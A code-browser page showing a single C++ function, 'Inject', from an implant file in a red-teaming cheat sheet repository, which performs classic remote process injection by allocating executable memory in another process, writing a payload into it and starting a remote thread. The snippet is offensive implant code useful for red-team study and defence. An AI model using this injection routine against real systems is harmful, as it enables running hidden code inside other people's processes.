MCPcopy Create free account
hub / github.com/0xJs/RedTeaming_CheatSheet / Inject

Function Inject

coding/projects/WoW64/implant.cpp:161–178  ·  view source on GitHub ↗

classic injection

Source from the content-addressed store, hash-verified

159
160// classic injection
161int Inject(HANDLE hProc, unsigned char * payload, unsigned int payload_len) {
162
163 LPVOID pRemoteCode = NULL;
164 HANDLE hThread = NULL;
165
166
167 pRemoteCode = VirtualAllocEx(hProc, NULL, payload_len, MEM_COMMIT, PAGE_EXECUTE_READ);
168 WriteProcessMemory(hProc, pRemoteCode, (PVOID) payload, (SIZE_T) payload_len, (SIZE_T *) NULL);
169
170 hThread = CreateRemoteThread(hProc, NULL, 0, (LPTHREAD_START_ROUTINE) pRemoteCode, NULL, 0, NULL);
171
172 if (hThread != NULL) {
173 WaitForSingleObject(hThread, 500);
174 CloseHandle(hThread);
175 return 0;
176 }
177 return -1;
178}
179
180
181HANDLE FindThread(int pid){

Callers

nothing calls this directly

Calls

no outgoing calls

Tested by

no test coverage detected